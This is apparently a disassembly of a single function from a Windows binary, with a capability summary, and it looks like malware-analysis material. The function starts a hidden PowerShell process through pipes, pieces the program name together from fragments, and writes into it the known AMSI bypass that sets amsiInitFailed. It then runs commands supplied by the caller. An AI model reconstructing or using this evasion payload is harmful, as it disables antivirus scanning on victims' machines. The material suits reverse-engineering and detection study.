Function at 0x41550d
Capabilities:
Create pipe
Create process on windows
Create two anonymous pipes
Terminate process
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x198
push 0x44
push 0
lea eax, [ebp - 0x154]
push eax
call fcn.0041a300
add esp, 0xc
mov dword [ebp - 0x154], 0x44
push 0x10
push 0
lea eax, [ebp - 0x58]
push eax
call fcn.0041a300
add esp, 0xc
mov dword [ebp - 0xa4], 0xc
and dword [ebp - 0xa0], 0
mov dword [ebp - 0x9c], 1
push 0
lea eax, [ebp - 0xa4]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x415580
push 0xffffffffffffffff
call fcn.004204a2
mov dword [ebp - 0x128], 0x100
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x11c], eax
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov dword [ebp - 0x118], eax
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov dword [ebp - 0x114], eax
push 0x436c00
lea ecx, [ebp - 0x110]
call fcn.00407002
push 0x436c10
lea ecx, [ebp - 0x110]
call fcn.00415a32
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x154]
push eax
push 0
push 0
push 0x8000000
push 1
push 0
push 0
lea ecx, [ebp - 0x110]
call fcn.0040e8ff
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x415608
push 0xffffffffffffffff
call fcn.004204a2
push 0x3a98
push dword [ebp - 0x58]
call dword [sym.imp.USER32.dll_WaitForInputIdle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x436c1c
lea ecx, [ebp - 0x98]
call fcn.00406e29
push 0x436c28
lea ecx, [ebp - 0x98]
call fcn.00412b29
push 0x436c38
lea ecx, [ebp - 0x98]
call fcn.00412b29
push 0x436c48
lea ecx, [ebp - 0x98]
call fcn.00412b29
push 0x436c94
lea ecx, [ebp - 0x98]
call fcn.00412b29
push 0x436ca4
lea ecx, [ebp - 0x98]
call fcn.00412b29
push 0x436ce0
lea ecx, [ebp - 0x98]
call fcn.00412b29
lea ecx, [ebp - 0x98]
call fcn.0040c18a
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0x98]
call fcn.0040e34c
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1c], eax
push 0
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4156d3
push 0xffffffffffffffff
call fcn.004204a2
push 0x3e8
push dword [ebp - 0x58]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp + 0xc]
push dword [ebp + 8]
lea ecx, [ebp - 0xf8]
call fcn.00406e66
push 0x436cfc
lea ecx, [ebp - 0xf8]
call fcn.00412b29
lea ecx, [ebp - 0xf8]
call fcn.0040c18a
mov dword [ebp - 0x24], eax
lea ecx, [ebp - 0xf8]
call fcn.0040e34c
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x2c], eax
push 0
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x24]
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x415744
push 0xffffffffffffffff
call fcn.004204a2
push 0x2710
push dword [ebp - 0x58]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push dword [ebp - 0x58]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x58]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x54]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x44
push 0
lea eax, [ebp - 0x198]
push eax
call fcn.0041a300
add esp, 0xc
mov dword [ebp - 0x198], 0x44
push 0x10
push 0
lea eax, [ebp - 0x68]
push eax
call fcn.0041a300
add esp, 0xc
mov dword [ebp - 0xb0], 0xc
and dword [ebp - 0xac], 0
mov dword [ebp - 0xa8], 1
push 0
lea eax, [ebp - 0xb0]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x4157eb
push 0xffffffffffffffff
call fcn.004204a2
mov dword [ebp - 0x16c], 0x100
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x160], eax
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov dword [ebp - 0x15c], eax
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov dword [ebp - 0x158], eax
push str.powers
lea ecx, [ebp - 0xc8]
call fcn.00407002
push str.hell
lea ecx, [ebp - 0xc8]
call fcn.00415a32
push str.__Com
lea ecx, [ebp - 0xc8]
call fcn.00415a32
push str.mand__
lea ecx, [ebp - 0xc8]
call fcn.00415a32
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x198]
push eax
push 0
push 0
push 0x8000000
push 1
push 0
push 0
lea ecx, [ebp - 0xc8]
call fcn.0040e8ff
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x415893
push 0xffffffffffffffff
call fcn.004204a2
push 0x3a98
push dword [ebp - 0x68]
call dword [sym.imp.USER32.dll_WaitForInputIdle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str._a_Ref__n
lea ecx, [ebp - 0x80]
call fcn.00406e29
push str._b_a.Assembly_n
lea ecx, [ebp - 0x80]
call fcn.00412b29
push str._c_b.GetType
lea ecx, [ebp - 0x80]
call fcn.00412b29
push str._System.Management.Automation.AmsiUtils_
lea ecx, [ebp - 0x80]
call fcn.00412b29
push str._n_d_c.GetField
lea ecx, [ebp - 0x80]
call fcn.00412b29
push str._amsiInitFailed_NonPublic_Static_
lea ecx, [ebp - 0x80]
call fcn.00412b29
push str._n_d.SetValue__null__true__n
lea ecx, [ebp - 0x80]
call fcn.00412b29
lea ecx, [ebp - 0x80]
call fcn.0040c18a
mov dword [ebp - 0x30], eax
lea ecx, [ebp - 0x80]
call fcn.0040e34c
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x38], eax
push 0
lea eax, [ebp - 0x3c]
push eax
push dword [ebp - 0x30]
push dword [ebp - 0x34]
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x415943
push 0xffffffffffffffff
call fcn.004204a2
push 0x3e8
push dword [ebp - 0x68]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp + 0xc]
push dword [ebp + 8]
lea ecx, [ebp - 0xe0]
call fcn.00406e66
push 0x436e18
lea ecx, [ebp - 0xe0]
call fcn.00412b29
lea ecx, [ebp - 0xe0]
call fcn.0040c18a
mov dword [ebp - 0x40], eax
lea ecx, [ebp - 0xe0]
call fcn.0040e34c
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x48], eax
push 0
lea eax, [ebp - 0x3c]
push eax
push dword [ebp - 0x40]
push dword [ebp - 0x44]
push dword [ebp - 0x48]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4159b4
push 0xffffffffffffffff
call fcn.004204a2
push 0x2710
push dword [ebp - 0x68]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push dword [ebp - 0x68]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x68]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x64]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0xe0]
call fcn.00407cb4
lea ecx, [ebp - 0x80]
call fcn.00407cb4
lea ecx, [ebp - 0xc8]
call fcn.00407ccd
lea ecx, [ebp - 0xf8]
call fcn.00407cb4
lea ecx, [ebp - 0x98]
call fcn.00407cb4
lea ecx, [ebp - 0x110]
call fcn.00407ccd
leave
ret